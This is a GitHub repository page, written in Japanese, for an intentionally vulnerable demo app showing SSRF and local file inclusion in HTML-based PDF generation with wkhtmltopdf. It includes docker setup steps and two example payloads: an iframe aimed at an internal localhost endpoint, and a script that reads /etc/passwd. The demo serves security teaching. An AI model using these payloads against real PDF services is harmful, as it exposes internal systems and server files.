Skip to content

gmo-ierae/HTML2PDF-vuln-demo

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 

Repository files navigation

HTML2PDF-vuln-demo

概要

HTMLをベースとするPDF生成処理に発生するSSRFやLFIの脆弱性に関するデモアプリケーション

起動方法

$ cd wkhtmltopdf
$ docker compose up

URL

http://localhost:5000

攻撃ペイロード例

  • SSRF
<iframe src="http://localhost:5000/internal"></iframe>
  • LFI
<script>
xhr = new XMLHttpRequest();
xhr.open("GET", "file:///etc/passwd");
xhr.onload = function(){
    document.write(this.responseText)
};
xhr.send();
</script>

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published